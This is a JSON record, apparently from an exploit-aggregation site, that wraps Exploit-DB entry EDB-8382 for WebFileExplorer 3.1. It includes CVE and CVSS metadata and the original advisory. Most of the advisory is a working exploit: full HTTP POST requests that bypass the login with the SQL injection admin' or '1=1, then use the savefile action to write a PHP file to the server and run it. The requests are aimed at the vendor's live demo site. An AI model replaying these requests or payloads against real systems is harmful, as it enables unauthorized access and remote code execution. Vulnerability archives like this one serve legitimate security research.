{"exploit":{"id":"EDB-8382","name":"WebFileExplorer 3.1 - Authentication Bypass","description":"WebFileExplorer 3.1 - Authentication Bypass","cves":["CVE-2009-1323","CVE-2009-1314"],"author":"Osirys","published":"2009-04-09","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8382","path":"exploits/php/webapps/8382.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8382.txt","vulnerabilities":[{"id":"CVE-2009-1323","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in body.asp in Web File Explorer 3.1 allows remote attackers to execute arbitrary SQL commands via the id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1323","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1323"},"updatedAt":"2024-08-07T05:04:49.532Z","retrievedAt":"2026-11-27T11:10:34.763Z","stale":false,"error":null},{"id":"CVE-2009-1314","state":"PUBLISHED","title":null,"titleSource":null,"description":"body.asp in Web File Explorer 3.1 allows remote attackers to create arbitrary files and execute arbitrary code via the savefile action with a file parameter containing a filename that has an executable extension.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1314","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1314"},"updatedAt":"2024-08-07T05:04:49.540Z","retrievedAt":"2026-11-27T11:18:16.653Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8382.png?v=2","url":"https://exploitbin.com/exploits/EDB-8382","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8382/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8382/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Product Name: WebFileExplorer\nVersion     : 3.1\nURL         : http://www.webfileexplorer.com/\nPrice       : 99 $ USD\n\nCredits to  : Giovanni Buzzin, \"Osirys\"\n              osirys[at]autistici[dot]org\n\nWebFileExplorer v3.1, is prone to multiple vulnerabilities. At first, an attacker can inject his evil sql code\nin the login form, bypassing it, he just needs to know the nick of an existent username to login as him.\nLive Exploiting: http://www.webfileexplorer.com/userdemo/\nHeaders:\nhttp://www.webfileexplorer.com/userdemo/body.asp\n\nPOST /userdemo/body.asp HTTP/1.1\nHost: www.webfileexplorer.com\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: http://www.webfileexplorer.com/userdemo/body.asp\nCookie: ASPSESSIONIDSCQCBDQR=CDMBDPMCINOGGDFHIFOJOLGL\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 71\nlogin_name=&dologin=yes&id=admin%27+or+%271%3D1&pwd=osirysp0wa&B1=Login\n\nSending this request a remote attacker is able to bypass the login form.\nThe sql injection used is: admin%27+or+%271%3D1\nso                       : admin' or '1=1\n\nOnce the attacker logged in, from the Control Panel he's able to do a lot of things, upload all file of any\nextension, create files of any type, and so on. So this normal Authority Bypass can become a dangerous\nArbitrary Shell Upload, so kinda of Remote Command Execution.\n\nHeaders:\n\nhttp://www.webfileexplorer.com/userdemo/body.asp?action=savefile&path=/admindemo/demo/er\n\nPOST /userdemo/body.asp?action=savefile&path=/admindemo/demo/er HTTP/1.1\nHost: www.webfileexplorer.com\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: http://www.webfileexplorer.com/userdemo/body.asp?action=newfile\nCookie: ASPSESSIONIDSCQCBDQR=CDMBDPMCINOGGDFHIFOJOLGL; ControlPan=max; fileoptions=max; folderoptions=max; SearchBoxStat=max; FoldersTree=off\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 96\nfile=test_.php&newfilestuff=%3C%3Fphp+echo+%22I%27m+horn%3Cbr%3E%22%3B+%3F%3E&submit=create+file\n\nLet's see now, the response of the created file:\n\nosirys[~]>$ perl asd.txt http://www.webfileexplorer.com/admindemo/demo/er/test_.php                                                                  I'm horn<br>\nosirys[~]>$\n\nGame Over.\n\n# milw0rm.com [2009-04-09]","sha256":"38085bc9259c1d5db9c5da65546ec8268a1c2bbdb1d0c2a178e1464746b14366","bytes":2763,"fetchedAt":"2026-11-27T11:10:31.564Z","encoding":"utf-8 (display only; download retains original bytes)"}